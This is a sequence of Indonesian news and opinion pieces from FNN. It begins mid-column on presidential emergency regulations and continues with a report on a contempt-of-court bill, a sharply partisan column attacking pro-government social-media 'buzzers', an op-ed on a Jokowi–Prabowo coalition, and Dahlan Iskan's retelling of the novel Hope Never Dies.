sendirian dalam kasus ini. Chilie pada masa Alende misalnya, juga mengalami hal yang sama. Pemerintahan sosialisnya, dengan demokrasi relatifnya menemui kebangkrutan karena didemo sepanjang hari. Alende dituduh menyemai dan menyebarkan komunisme. Anak-anak yang lahir, menurut propaganda oposisi, akan dijauhkan dari agama. Ibu-ibu termakan propaganda itu. Sebagian rakyat lalu menandai pemerintahan Alende sebagai monster. Alende tidak boleh dibiarkan terus memerintah Chilie. Pemerintahannya harus diakhiri. Demonstrasi tak berkesudahan dipanggil untuk memasuki arena politik menantang Alende. Demonstrasi baru berakhir setelah Alende tertembak di Istana kepresidenan. Jenderal Pinochet, seorang militer, kabarnya mendapat lampu hijau dari Amerika. Entah menjadi komponen utama dalam oposisi itu atau tidak, namun Pinochet memasuki kekuasaan. Pinochet diangkat menjadi presiden menggantikan Alende. Demokrasi bangkrut, dan berakhir dengan pahit. DPR, saya cukup yakin sangat mengetahui betul bagaimana suara-suara nyaring yang menggema di pertengahan tahun 1959. Hasilnya adalah Dekrit Presiden. Suara-suara nyaring juga menggema pada tahun 1966. Hasilnya relatif sama. Indonesia pun terkapar didasar demokrasi. Kondisi seperti tahun 1959 dan 1966 itukah yang diimpikan bangsa saat ini? DPR tidak usah memanggil pemakzulan. Tetapi perlu membunyikan alarm lain. Tentu saja politis, agar Perpu tidak tersaji sebagai hal yang biasa. DPR juga harus mengasah kepekaannya. DPR harus dapat memberi kepastian bahwa Presiden tidak mengandalkan wewenang istimewasnya itu dalam mengelola negara. Toh UUD 1945 telah membekali Presiden dalam urusan mengatur negara. Misalnya, dengan Peraturan Pemerintah, Peraturan Presiden, dan Instruksi Presiden. Betul wewenang ini diperlukan. Tetapi sesuai sifatnya, wewenang tersebut harus digunakan dan dikerangkakan pada keadaan yang sungguh-sungguh memerlukannya. Kedaan yang sungguh-sungguh memerlukan itu, dapat diukur berdasarkan praktik bernegara yang masuk akal. Pada kondisi yang masuk akal itulah Presiden perlu memecahkannya, dengan cara memasuki gudang wewenang istimewanya, yaitu dengan menerbitkan Perpu. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

UU Contempt of Court Tidak Hanya Melindungi Hakim

Jakarta, FNN - Para hakim saat ini sangat memerlukan lahirnya undang-undang tentang Contempt of Court. Walaupun demikian, kehadiran undang-undang tentang Contempt of Court bukan hanya bertujuan memberikan perlindungan kepada para hakim semata. Lebih dari itu, undang-undang ini juga dimaksudkan untuk melindungi semua pihak yang berkepentingan dengan tegaknya keadilan. Karena keadilan adalah kebutuhan hidup masyarakat bangsa Kepala Pusat Penelitian Hukum dan Peradilan Mahkamah Agung Dr. Hasbi Hasan menyampaikan hal tersebut dalam sesi sambutan Pembukaan Desiminasi Hasil Riset Tentang Contempt of Court oleh Puslitbang Hukum dan Peradilan Mahkamah Agung di Surabaya pada Kamis, (03/10). Kegiatan Desiminasi hasil riset Litbang Mahkamah Agung merupakan kerja sama antara Puslitbang Mahkamah Agung dengan Fakuktas Hukum Universitas Airlangga Surabaya. Desiminasi ini sebagai tindak lanjut dari penandatangan Memorandum of Understading (MoU) antara Puslitbang Mahkamah Agung dan Fakultas Hukum Unair sebelumnya. Kegiatan Desiminasi ini menghadirkan beberapa pakar sebagai narasumber. Mereka para pakar tersebut, baik yang berasal dari lingkungan Mahkamah Agung maupun Fakultas Hukum Unair. Para pakar menyampaikan berbagai pandangan dan gagasan tentang perlunya undang-undang tentang Contempt of Court Pada kesempatan tersebut Prof. Dr. Didik Endro Purwoleksono, Guru Besar Fakultas Hukum Unair yang tampil sebagai narasumber. Beliau menegaskan bahwa sangat penting bagi pemerintah untuk mengesahkan Rancangan Undang-Undang (RUU) Tentang Contempt of Court. “Walaupun demikian, draf RUU tentang Contemp of Court yang ada saat ini masih perlu beberapa perbaikan dan revisi. Sebelum disahkan menjadi undang-undang, sebaiknya diperbaiki lagi. Sebab masih terdapat rumusan pasal-pasal yang tidak konsisten antara satu ketentuan dengan ketentuan yang lain, “ujar Didik Endro Purwoleksono Sementara itu Dr. Maraudin Naenggolan dan Dr. Andriani Nurdin yang merupakan narasumber internal dari Mahkamah Agung, pada kesempatan tersebut, lebih menekankan pentingnya undang-undang tentang Contempt of Court untuk menjaga keseimbangan hak dari para pihak. Sebab menyerang salah satu pihak dalam proses persidangan di pengadilan bukan saja bentuk pelanggaran. Namun juga sebagai bentuk menciderai rasa keadilan pihak lain. "Oleh karena itu, hadirnya undang-undang tentang Contempt of Court ini sebagai bentuk perlundungan yang seimbang bagi para pihak. Bukan saja untuk melindungi hakim, tetapi para pihak yang terlibat di persidangan. Selian hakim dan panitra, juga ada jaksa, dan terdakwa. Selain itu untuk melidungi penggugat maupun tergugat, serta para saksi. Selanjutnya, kedua narasumber ini lebih menekankan pada pengalaman mereka sebagai hakim. Baik Dr. Maraudin Naenggolan maupun Dr. Andriani Nurdin sering mengalami ancaman dari pihak-pihak yang merasa diri paling benar. Ancaman tersebut, baik dalam proses persidangan, maupun pada tahapan eksekusi terhadap putusan pengadilan. Pembicara lainnya adalah Dr. Lilik Mulyadi yang merupakan koordinator tim riset dari Litbang Mahkamah Agung tentang Contempt of Court. Dia menyebutkan bahwa dari hasil riset yang dilakukan, hampir 85% responden menghendaki adanya undang-undang tentang Contempt of Court. Kehadiran dan keberadaan undang-undang ini sudah sangat mendesak untuk saat ini. Lebih lanjut Dr. Lilik Mulyadi menyebutkan bahwa, Berdasarkan pengalaman di negara-negara maju, undang-undang tentang Contempt of Court hadir sebagai bentuk perlindungan bagi terwujudnya independensi peradilan. Bahwa menjaga independensi peradilan adalah wujud dari penjagaan terhadap terwujudnya rasa keadilan. “Oleh karena itu, sudah saatnya Indonesia harus memiliki undang-undang tentang Contempt of Court. Kehadiran undang-undang tentang Contempt of Court tidak hanya melindungi institusi peradilan saja. Namun juga melindungi semua pihak yang terlibat dalam proses peradilan. Misalnya polisi, jaksa, hakim dan masyarakat pencari keadilan, “ujar Lilik Mulyadi. (Lohy)

Anjing Penggonggong Istana dan Pak Jenderal Moeldoko

Dua skandal terakhir, hasil karya para penggonggong ini, tentu saja menjadi bagian dari upaya membela Jokowi. Mereka sekaligus juga membusukkan lawan politiknya Jokowi. Sekali lagi, mereka tidak peduli walau harus menebar, memproduksi ujaran kebencian, hoax, dan fitnah. Kendati yang difitnah adalah anak-anak STM sekalipun! Oleh Edy Mulyadi Jakarta, FNN - Kepala Staf Kepresidenan Moeldoko membuat pernyataan jujur dan mengejutkan. Dia bilang, istana tidak lagi memerlukan buzzer alias para penggonggong. Pada bagian lain, pensiunan jenderal bintang empat ini mengaku sudah menemui sejumlah buzzer. Karena menggonggong adalah perilaku anjing, jadi saya menyebut mereka, maaf, para anjing penggonggong berpengaruh. Disebut berpengaruh karena para binatang, eh manusia ini punya banyak follower di akun media social (medsos) masing-masing. Pada pertemuan tersebut, Moeldoko mengaku sudah meminta para buzzer Jokowi bersifat lebih dewasa. Mereka juga diminta tidak emosional ketika merespons sesuatu hal. Namun, katanya lagi, terkadang imbauan tadi sulit dipraktikkan karena sudah terpolarisasi sejak Pilpres lalu. Sampai di sini kita menghargai kejujuran Moeldoko soal para penggonggong. Namun aksi 'lempar handuk' ala Moeldoko terhadap sepak terbang para penggonggong Istana jelas menggelikan. Dia pikir rakyat NKRI terlalu dungu sehingga bisa dikibulin dan percaya dengan dalih yang dia sodorkan. Lain halnya jika mantan Panglima TNI ini bicara dengan anak-anak TK. Mungkin saja mereka dipercaya. Sulit Menampik Bukti Istana kian kerepotan menampik keberadaan dan polah para penggonggong. Terbitnya laporan penelitian karya Samantha Bradshaw dan Philip N. Howard dari Universitas Oxford benar-benar membungkam Istana. Laporan seru itu membuat istana seperti kena sariawan. Bertajuk ' The Global Disinformation Order. 2019 Global Information of Organized Social Media Manipulation' atau ' Orde Disinformasi Global. Kira-kira Indonesianya begini “Informasi Global tentang Manipulasi Media Sosial Terorganisir 2019”. Sejatinya banyak pihak yang jauh-jauh hari sudah menduga kalau Istana memelihara banyak anjing penggonggong. Diduga jumlahnya bisa ratusan, bahkan mungkin juga ribuan. Masing masing dari mereka punya akun yang puluhan sampai ratusan. Ciri utama para penggonggong itu adalah, memuji-muji Jokowi setinggi langit. Jokowi seperti seorang dewa yang tanpa cela di mata mereka. Pada saat yang sama, mereka beramai-ramai membantai lawan politik Presiden dan atau pengeritiknya tanpa ampun. Untuk keperluan memenuhio syahwatnya itu, anjing-anjing penggonggong tidak segan-segan menebar fitnah, ujaran kebencian, dan hoax. Aksi tebar fitnah, ujaran kebencian, dan hoax mereka lakukan dengan sangat massif dan berkelanjutan. Sambung-menyambung, tak ada henti-hentinya. Mereka terus-menerus membantai lawan Jokoiwi itu sampai ada perintah berhenti dari komandan atau yang mereka sebut sebagai 'kakak pembina'. Itulah sebabnya banyak kalangan menilai anjing-anjing penggonggong tersebut sudah pada tingkatan merusak demokrasi. Dua teranyar para buzzer tadi adalah penyebaran hoax dan fitnah terhadap ambulans milik Pemprov DKI Jakarta. Mereka mengatakan ambulans milik Pemda DKI Jakarta membawa batu dan bensin saat aksi massa di sekitar Gedung MPR/DPR. Fitnah dan hoax lainnya adalah, tangkapan layar grup WhatsApp pelajar STM yang seolah-olah mereka dijanjikan bayaran pihak tertentu. Namun setelah ditelusuri, ternyata nomor-nomor telepon di grup itu diduga milik anggota Polri. Salah satu nomor telepon di grup WA itu punya tagihan bulanan hingga Rp 4 juta lebih. Ngomong-ngomong, anak STM mana yang punya tagihan telepon Rp 4 juta lebih sebulan, ya? Dua skandal terakhir, hasil karya para penggonggong ini, tentu saja menjadi bagian dari upaya membela Jokowi. Mereka sekaligus juga membusukkan lawan politiknya Jokowi. Sekali lagi, mereka tidak peduli walau harus menebar, memproduksi ujaran kebencian, hoax, dan fitnah. Kendati yang difitnah adalah anak-anak STM sekalipun! Tokoh nasional dan juga begawan ekonomi Rizal Ramli adalah satu diantara yang sangat terganggu dengan keberadaan para buzzer Istana ini. September tahun silam dia bahkan sudah mengingatkan agar Jokowi. Harapannya agar Jokowi menghentikan atau setidaknya menertibkan para buzzernya. Menurut RR, begitu Rizal Ramli biasa disapa, apa yang dilakukan para penggonggong benar-benar merusak demokrasi. Demokrasi yang seharusnya membuka ruang bagi perbedaan pendapat. Sayangnya, di tangan Jokowi dan para penggonggongnya, domokrasi berubah jadi merusak dan menghancurkan. Menyimpan Bangkai Tentu saja, Istana (terpaksa) bolak-balik membantah tudingan tadi. Bahkan dengan mimik tanpa dosa, Jokowi meminta rakyat Indonesia agar tidak membuat dan menyebar hoax. Dia juga mengimbau rakyat tidak termakan hoax yang beredar di dunia maya. Tidak sampai di situ, Polisi juga gencar meneriakkan buruknya hoax. Aparat berseragam cokelat yang sering dijuluki para demonstran dengan wercok alias wereng coklat ini, rajin menangkapi pegiat medsos yang dianggap menebar hoax dan atau ujaran kebencian. Katanya dalam rangka menegakkan hukan dan perundang-undangan yang berlaku. Sayangnya, berkali-kali orang-orang yang dicokok Polisi adalah mereka yang kritis terhadap rezim berkuasa. Sementara para penggonggong yang justru terbukti jauh lebih aktif dan massif menebar hoax, fitnah, dan ujaran kebencian tetap aman sejahtera sentosa. Serapi-rapinya menutupi bangkai akhirnya akan tercium juga baunya. Begitu kata pepatah bijak orang tua-tua di kompong. Hal ini pula yang terjadi dengan fenomena anjing-anjing penggonggong Istana. Pernyataan Moeldoko bahwa Istana sudah tidak membutuhkan para buzzer adalah konfirmasi yang sangat sempurna atas sinyalemen dan kritik banyak pihak seputar para anjing penggonggong ini. Suka tidak suka, pernyataan Moeldoko mengkonfirmasi beberapa hal, antara lain: Pertama, selama ini Istana punya dan memelihara para anjing penggonggong. Kedua, selama ini Istana bisa dan biasa memfitnah serta menebar kebencian. Memfitnah dan memproduksi hoax lewat para anjing penggonggongnya rupanya merupakan hal biasa bagi Istana. Ketiga, selama ini Istana terbukti menjadi raja munafik negeri ini. Sibuk berteriak-teriak agar rakyat jangan ikut-ikutan menebar hoax dan fitnah di medsos. Ternyata justru Istana adalah produsen dan penyebar hoax yang paling sempurna. Keempat, selama ini Polisi berlagak budek dan picek kalau menyangkut para anjing penggonggong Istana. Walau mereka menebar fitnah dan hoax, walau sudah dilaporkan, tetap sama sekali tidak disentuh oleh hukum. Mereka seperti mendapatkan perlindungan. Penolakan polisi memproses laporan terhadap Denny Siregar yang menebar fitnah terhadap ambulans milik Pemprov DKI adalah contoh nyata. Semakin sempurna juga wercok menjadi bagian dari penjaga dan pelindung anjung penggonggong buzzur demi kekuasaan. Kelima, Permadi Arya, Denny Siregar, Eko Kunthadi, MoertadhoOne, Seword, dan masih banyak yang lain adalah sedikit contoh dari anjing-anjing penggonggong Istana yang kebal hokum. Mereka sangat kebal hukum di eranya rezim Jokowi. Keenam, pasal-pasal karet undang-undang ITE yang sangar dan sadis itu, menjadi omong kosong. Saat berhadapan dengan para anjing penggonggong Istana undang-undang ITE menjadi macan ompong. Undang-undang ITE hanya ajam ke oposan dan para pengritik rezim.. Ketujuh, Istana menganut prinsip habis manis sepah dibuang. Ucapan Moeldoko dengan sangat terang-benderang bisa dimaknai sebagai 'kini saatnya membuang para anjing penggonggong.' Kedelepan, anjing-anjing penggonggong kini (sebentar lagi) jadi pengangguran. Mereka tidak bisa makan karena uang gonggongan dihentikan. Kesembilan, ini pon yang tak kalah penting, yaitu rasain luh!!! Penulis adalah Wartawan Senior

Koalisi Jokowi-Prabowo Subianto dan Gagasan Negara Kuat!

Jika membaca pandangan dan hati nurani Presiden Joko Widodo maupun Jenderal Prabowo Subianto sebagai pemimpin bangsa ini, sebenarnya mau menunjukkan ada optimisme dibalik tekanan liberal. Bahwa bangsa Indonesia tersandera dalam ancaman penetrasi kapital, hegemoni politik negara lain. Oleh Natalius Pigai Jakarta, FNN - Presiden Terpilih Joko Widodo dalam Visi Indoensia 2019-2024 menyatakan bahwa Indoneia menjadi negara terkuat di dunia. “Kita harus optimistis menatap masa depan. Kita juga harus percaya diri dan berani menghadapi tantangan kompetisi global. Kita harus yakin bahwa kita bisa menjadi salah satu negara terkuat di dunia”. Visi negara kuat sebagaimana disampaikan dalam Visi Indonesia tersebut, sebenarnya telah diutarakan dalam berbagai kesempatan. Terutama ketika penyampaian visi misi calon Presiden Republik Indonesia, baik oleh Joko Widodo maupun Prabowo Subianto saat debat pertama 17 Januari 2019. Visi yang sama juga disampaikan lagi di debat ke empat 30 Maret 2019 dan pada berbagai kesempatan dengan berbagai penekanan. “Negara kuat jika alutsista maupun keamanan dalam negeri kuat. Pentingnya negara yang kuat. Negara kuat jika institusi atau lembaga negara kuat. Demikian pula harus ditunjang dengan pengelola negara yang professional, bersih dan berwibawa”. “Bangsa yang kuat, mandiri, berdaulat akan dihargai dan dihormati bangsa-bangsa lain termasuk dalam diplomasi”. “Negara yang kuat jika memiliki TNI yang kuat. Didukung dengan Alat Utama Sistem Persenjataan (Alustista) yang kuat dan modern. Dampaknya kita akan disegani oleh bangsa lain”. “Keamanan dalam negeri terpelihara jika institusi Kepolisian Negara yang kuat”. “Rakyat mendapat keadilan dihadapan hukum, jika institusi Kepolisian terpercaya. Kepolisian yang bekerja secara independen, profesional, moderen, sejahtera”. Aparat Penegak Hukum (Polisi, Jaksa, Hakim) harus kenyang, sehat dan pintar. Akibatnya, aparat penegak hokum akan profesional, objektif dan imparsial dalam menegakan hukum”. Kalimat pajang tersebut di atas merupakan ringkasan dari sederet ungkapan ide, gagasan Joko Widodo maupun Prabowo Subianto. Niat besar mereka berdua untuk membawa bangsa Indonesia sebagai bangsa yang kuat. Indonesia yang akan menjadi pemenang, dan keluar dari negara yang terancam gagal (falls of nations). Fals of Nation (Negara Gagal)”. Buku karangan Daren Acemoglu seorang ilmuan Amerika keturunan Turki. Inti dari buku Negara Gagal tersebut berkesimpulan bahwa “Negara Gagal karena sumber daya alam dikuasai oleh sekelompok kecil oligarki. Sementara kebijakan politik dan hukum negara berorientasi untuk memperkuat kepentingan sekelompok kecil oligarki ekonomi dan politik tersebut”. Sehebat-hebatnya membangun untuk mengejar ketertinggalan negara lain, tetapi tetap saja menjadi negara miskin dan gagal. Kita perlu belajar, sebagaimana kesenjangan (gap) antara Amerika Serikat dengan Meksiko, Korea Utara dengan Korea Selatan, Jerman Barat dan Jerman Timur. Mexico, Korea Utara, dan Jerman Timur memiliki infrastruktur yang sama dengan Amerika Serikat, Korea Selatan dan Jerman Barat. Namun label sebagai negara gagal tetap melekat di Meksiko, Korea Utara dan Jerman Timur sebelum reunifikasi. Oleh karena itu, Presiden Joko Widodo pada periode ke-2 (2019-2024) memperioritaskan pembangunan pada sumber daya manusia sudah sangat tepat. Memang benar, apapun yang dilakukan pemimpin bangsa ini tentu mempertimbangkan “kepentingan inti negara Indonesia” (core of national interest). Sesungguhnya negara yang maju dan berkembang berada pada penguatan hukum untuk mengatur ketertiban, keamanan dan rasa keadilan bagi rakyat”. Kepolisian, Kejaksaan dan Kehakiman sebagai lembaga penegak hukum yang berada beranda di depan dalam sistem peradilan pidana (criminal justice system) tentu menjadi pilar terpenting bagi negara ini. Jika membaca pandangan dan hati nurani Presiden Joko Widodo maupun Jenderal Prabowo Subianto sebagai pemimpin bangsa ini, sebenarnya mau menunjukkan ada optimisme dibalik tekanan liberal. Bahwa bangsa Indonesia tersandera dalam ancaman penetrasi kapital, hegemoni politik negara lain. Akibatnya adalah negara makin tidak berwibawa. Disebabkan oleh perilaku kurang elok seperti kebocoran keuangan negara, korupsi merajalela, memperdagangkan pengaruh, jual beli jabatan yang justru dilakukan oleh orang-orang yang melingkari istana. Semua ini dilakukan oleh pusat kekuasaan negara sejak jaman orde baru, dan berlangsung hingga saat ini. Visi Indonesia yang disampaikan oleh Joko Widodo sudah mulai membuka kran demokrasi untuk tidak akan menyandera pilar-pilar demokrasi, hak asasi manusia, perdamain dan keadilan. Upaya ke arah melalui instrumen demokrasi, yaitu partai politik, media massa, lembaga penegak hukum. Bangsa ini tidak boleh mengalami distorsi arah dan gradasi nilai-nilai konstitusi dan landasan idil. Pada periode kedua nanti, pemerintahan mesti berkomitmen agar rakyat bisa artikulasikan keinginan, rintian, ratapan, penderitaan. Begitu juga dengan kebebasan ekspresi, pendapat, pikiran dan perasaan harus mendapat yang seluas-luasnya. Untuk menjaga kebebasan sipil terpelihara, maka pucuk pimpinan lembaga yang menangani bidang politik, hukum dan hak asasi manusia haruslah dipercayakan kepada orang yang professional, tetapi juga demokratis. Dirahapkan pada masa yang akan datang, pemimpin negara tentu bukan tipe pemimpin yang suka berdebat. Bukan pula tipe yang suka berwacana.Bangsa ini sangat beruntung, seandainya Prabowo dan Jokowi berkoalisi, maka dua pemimpin yang kuat menyatu untuk membangun bangsa dan negara. Kita berharap kedua pemimpin akan mampu membangun bangsa. Berbudaya literasi dengan tidak bermain kata-kata gimik atau bahkan menyerang pribadi lawan politik. Berdiam tidak berarti apatis terhadap Negara. Berdiam bisa saja sembari mengarahkan pemerintah berkerja sungguh-sungguh demi rakyat, bangsa dan negara. Harus dipahami bahwa situasi saat ini telah menyebabkan kerusakan fundamental. Juga soal integrasi sosial dan ancaman integrasi nasional. Dengan demikian, membangun kekuatan bersama untuk pemantapan integrasi sosial dan politik bukan penting, namun sangat dibutuhkan saat ini. Kebhinekaan bangsa dalam kurun waktu lima tahun lalu berada di titik nadir. Pondaasi dan bangunan sosial terancam pecah karena ketidakharmonisan dan fragmentasi antar horisontal juga vertikal. Rasisme, diskriminasi, dan kekerasan verbal yang didorong atas rasa kebencian suku, agama, ras dan antar golongan (SARA). Pendatang dan pribumi adalah kosa kata yang saban hari menghiasi media massa, media sosial, media maintream dan juga dalam komunikasi interpersonal. Sewaktu-waktu, pada pangung resmi, baik di media, seminar, dan berbagai tempat pemerintah seringkali menyampaikan bahwa kebinekaan Indonesia adalah suatu wahyu. Titah yang tertulis sebagai adagium persatuan dan kesatuan, kebinekaan bangsa sudah final dan mengikat du sanubari tiap orang. Menjamurnya beraneka etnik, ras, budaya harus diterima sebagai kondisi kekinian. Realitas bangsa, bahkan keanekaragaman adalah suatu niscaya. Semua terlindung dalam konstitusi negara dan landasan ideologi Pancasila. Itulah inti negara kuat karena fondasinya bersatu padu dalam beraneka. Negara harus memastikan bahwa rakyat tidak terlalu terjebak dalam sektarianisme. Eksklusivisme yang naïf, bahkan chauvinistik seakan-akan ada yang mengklaim sebagai pemilik negeri ini. Klaim diri sebagai pahlawan, nasionalis, bahkan bahkan personifikasi diri sebagai nasionalis. Sedangkan suku bangsa lain di nusantara, terutama kaum minoritas lain dianggap bukan pejuang dan pahlawan bagi bangsa ini. Monopoli kebenaran seperti harusnya sudah tidak ada lagi. Membangun bangsa dengan tanggung renteng untuk memantapkan bangsa yang kuat. Barangkali tidak lupa bahwa perjuangan bangsa Indonesia dilakukan secara sporadis. Berjuang juga sendiri-sendiri di wilayahnya masing-masing. Hanyan saja tujuan perjuangan tetap sama, yaitu mengusir penjajah dari bumi Nusantara . Diponegoro tidak pernah memimpin perang dari Sabang sampai Merauke. Tetapi Diponegoto hanya wilayah Jawa Tengah. Laksamana Malahayati berjuang hanya di Aceh. Sisingamangaraja berjuang di Tanah Batak. Demikian pula pahlawan Patimura hanya di Maluku. Semua memiliki keinginan yang sama, yaitu Indonesia lepas dari belenggu penjajah. Presiden Joko Widodo maupun Prabowo Subianto paham sejarah bahwa kemerdekaan Indonesia juga diperjuangkan semua orang. Kemerdekaan diraih karena adanya kontribusi juga oleh tujuh orang pahlawan keturunan Cina, yaitu Jhon Lie, Koen Hian yang menjadi anggota BPUPKI. Ada juga dari keturunan Arab, yaitu Rasyid Baswedan. Bahkan ada juga keturunan barat Belanda yang kita sebut penjajah seperti "Ijon Jambi" tokoh yang mendirikan Kopassus. Pahlawan besar beragama Katolik di Jawa Tengah tidak bisa diragukan lagi. Aada nama-nama besar seperti Jos Sudarso, Adi Sutjipto, Adi Marmo, Slamet Riyadi, I.J Kasimo. Kalau demikian, apakah kita harus menafikan nama dan peran mereka dalam eksistensi republik ini?. Tentu saja tidak, karena bangsa ini terikat dalam adagium unitarianisme, yaitu “Bhineka Tunggal Ika”. Cara pandang tentang kebangsaan ini tercermin pada Joko Widodo dan Prabowo Subianto. Itulah ide, gagasan dan harapan Indonesia negara kuat. Negara kuat dalam pemeintahan Presiden Joko Widodo dan Maruf Amin 2019-2024 yang saya pahami dan analisis. Rakyat silahkan ikut memberi dukungan tanpa mengoreksi untuk mengisi ruang-ruang kosong yang tidak diisi Negara. Kita jangan lupa bahwa dunia sedang mengalami perubahan (progress). Bukan kemunduran (regress). Kita bisa berubah, jika ada hasrat untuk berubah (willingness to change). Penulis adalah Pemerhati Orang Kecil dan Kemanusiaan

Joe Paloh

Oleh Dahlan Iskan Jakarta, FNN - Tulisan ini tertunda terus. Setiap kali akan muncul di DI’s Way tergeser oleh kejadian baru. Tapi Joe Biden kini hot kembali. Ditambah salaman Srimulat-nya Megawati. Maka --meski beberapa orang sudah dapat bocorannya-- kisah ini sayang dilewatkan: Mereka berpasangan secara serasi. Dua periode. Delapan tahun. Namun, begitu tidak menjabat, keduanya tidak pernah berhubungan. Via WA sekali pun. Itulah Barack Obama dan Joe Biden. Presiden ke-44 Amerika dan wakilnya. Masing-masing hanya memendam dugaan: kenapa mereka tidak bisa saling bertemu. Di awal bulan ketujuh masa pensiunnya, Joe duduk-duduk di dalam rumahnya. Yang halaman belakangnya khas rumah orang kaya Amerika: luas sekali. Dengan hamparan rumput dan pepohonan. Itu malam hari. Di luar sudah gelap. Khususnya di halaman belakang itu. Tapi Joe masih bisa melihat ada sesuatu yang mencurigakan. Ada korek api menyala. Di halaman belakang itu. Agak di kejauhan. Di balik pepohonan sana. Di Amerika berlaku peraturan: setelah pensiun enam bulan mantan wapres tidak lagi mendapat pengawalan. Karena itu Joe harus lebih waspada. Pun malam itu. Joe curiga. Mengapa ada orang di halaman belakang. Ia bergegas ke kamar tidurnya. Membuka laci di sebelah ranjangnya: ada senjata dan pistol di situ. Juga tersimpan medali tertinggi yang pernah diterimanya. Penghargaan dari negara. Ia ambil pistol itu. Ia slempitkan di balik jasnya. Ia ajak serta anjingnya. Ke halaman belakang. Jalannya pelan. Langkahnya hati-hati. Saat membeli pistol itu Joe ditegur istrinya: untuk apa? Kan sudah punya senjata? Waktu itu Joe tidak bisa menjawab. Malam inilah jawabnya. Begitu melewati pintu belakang Joe merasa aneh. Mencium bau rokok. Yang aromanya seperti pernah ia cium. Ia pun melewati beberapa pohon. Sambil berlindung di baliknya. Aroma rokok yang sama kian kuat. Kian dekat ke pohon itu kian keras aroma rokoknya. Kian kenal pula aroma rokok apakah itu. Dan siapa yang biasa mengisap rokok seperti itu. Barack Obama. Joe pun terbatuk kecil. Lalu menegurkan suaranya ke arah aroma itu. "Kok sekarang merokok lagi?" "Kalau lagi rindu sahabatnya saja." "Kenapa mencurigakan begini?" Barack hanya membisikkan jawabannya. Sangat rahasia. Intinya malam itu Barack ingin membisikkan kabar duka yang mencurigakan: teman baik Joe baru saja meninggal. Ditabrak Amtrak. Kereta api jurusan Delaware-Washington DC. Yang misterius: Di meja kerja korban ditemukan peta. Menunjuk ke alamat Joe. Ini bisa krusial. Korban ditengarai bunuh diri. Atau fly oleh obat bius. Atau dibunuh jaringan perdagangan narkotik. Atau ada motif politik. Pokoknya ia mati tidak wajar. "Joe, hati-hatilah. Anda bisa dikait-kaitkan." Apalagi, si korban memang kenal baik dengan Joe. Meskipun pekerjaan sang korban hanya kondektur Amtrak. Itu karena Joe selalu naik Amtrak. Belasan tahun. Joe adalah pelanggan setia Amtrak. Yakni saat Joe jadi anggota DPR. Selama 15 tahun. Jurusannya pun tetap. Jamnya tetap. Dari rumahnya di Delaware ke gedung DPR di Washington DC. Satu jam perjalanan. Nyaris tiap hari. Siapa pun di stasiun Delaware kenal Joe. Apalagi kondektur. Kelak, setelah Joe jadi wapres, stasiun itu diberi nama ”Stasiun Amtrak Joe Biden”. Setelah perokok itu pergi, Joe bertekad ingin menyelidiki sendiri: mengapa kondektur itu tewas. Toh ia sudah tidak banyak kesibukan. Rasanya tidak mungkin bunuh diri. Orangnya baik. Dan lagi sudah hampir pensiun dari Amtrak. Joe ingin merasakan jadi seperti detektif swasta. Ingin membongkar misteri kematian kondektur itu. Barack membantu sepenuhnya. Termasuk paspampres yang masih melekat mendampinginya. Yang untuk mantan presiden tidak ada batasan enam bulan. Keduanya pun terlibat lika-liku penyelidikan. Sampai menyamar tidur di motel murahan. Juga sampai ngebut. Untuk mengejar motor besar yang mencurigakan. Joe yang pegang kemudi. Sampai tergelincir ke sawah. Barack yang mendampingi. Singkat cerita, Joe berhasil. Pembunuhan itu terbongkar. Satu jaringan perdagangan obat bius terungkap. Salah satunya tokoh polisi di Delaware. Yang amat ia percaya. Di akhir cerita terjadi tembak-tembakan. Barack sampai tiarap di atas aspal. Si polisi jahat menembak Joe. Yang ditembak pun roboh. Tubuhnya ambruk ke tubuh Barack. Wah, Joe tertembak. Barack melihat sendiri peluru mengenai dadanya. Pasti Joe tewas. Begitu pikir Barack. Ternyata Joe tidak apa-apa. Justru sang polisi yang roboh. Joe sempat menembaknya lebih cepat. Lho tadi kan peluru mengenai dadanya. Kenapa tidak berdarah? Joe merogoh saku atas di bajunya. Mengeluarkan tanda jasa tertinggi yang ia kantongi. Medali itu penyok. Kena peluru. Hollywood banget. Kisah itu memang fiksi. 100 persen fiksi. Ditulis dalam wujud sebuah novel. Judulnya: Hope Never Dies. Yang baru selesai saya baca seminggu sebelum menulis ini. Itulah sebuah novel laris di Amerika. Penulisnya Anda sudah tahu: Andrew Shaffer. Penulis cerita film Hollywood ”Fifty Shades of Grey” itu. Yang di Indonesia sangat terkenal filmnya. Shaffer juga menulis buku lainnya seperti ”Yoga-Philosophy for Every One, Bending Mind and Body”. Saya nyaris tidak bisa berhenti membaca novel ”Hope” itu. Tokoh-tokohnya begitu akrab di benak kita. Karakter tokohnya pun mencerminkan karakter Barack yang kita kenal. Dengan intelektualitasnya. Dengan flamboyannya. Dengan humor-humor tingkat tingginya. Demikian juga karakter Joe yang kita kenal. Terasa sekali tercermin di novel itu. Juga dengan keseniorannya. Dan humor tingkat tingginya. Tercermin juga betapa serasi pasangan itu. Betapa sudah seperti keluarga. Meski yang satu kulit putih dan satunya kulit hitam. Di akhir cerita baru diungkap: mengapa keduanya tidak saling kontak selama enam bulan terakhir. Kata Joe pada Obama: saya tidak berani kontak, saya khawatir mengganggu Anda. Joe melihat Barack begitu sibuk keliling dunia. Bersama tokoh-tokoh muda. Barangkali Barack tidak mau lagi berhubungan dengan orang-orang tua seperti dirinya. ”Umur saya kan sudah 76 tahun.” Sedang Barack mengatakan kepada Joe begini: ”Joe, saya kira Engkau sengaja menjauhi saya. Saya jadi sungkan mengontak Anda.” Kok menjauhi? ”Siapa tahu Engkau akan mencalonkan diri sebagai presiden. Yang harus menghindari bayang-bayang Barack.” Sekali lagi itu novel. Fiksi. Yang ternyata benar hanyalah: Joe akhirnya memang mencalonkan diri sebagai presiden. Untuk Pilpres 2020. Melawan incumbent Donald Trump. Tua lawan tua. Tapi kan tidak ada lagi istilah orang tua sekarang ini. Sejak Mahathir Mohamad terpilih sebagai perdana menteri Malaysia. Di umurnya yang 93 tahun saat itu. Saya membayangkan: kalau hubungan Pak SBY dan Bu Mega dibuat novel pasti akan laris manis pula. Ditambah pemain baru: Surya Paloh.(dahlan iskan) https://www.disway.id/r/674/joe-paloh

Jokowi Dalam Top 500 Muslims, Ada Reaksi yang Lucu

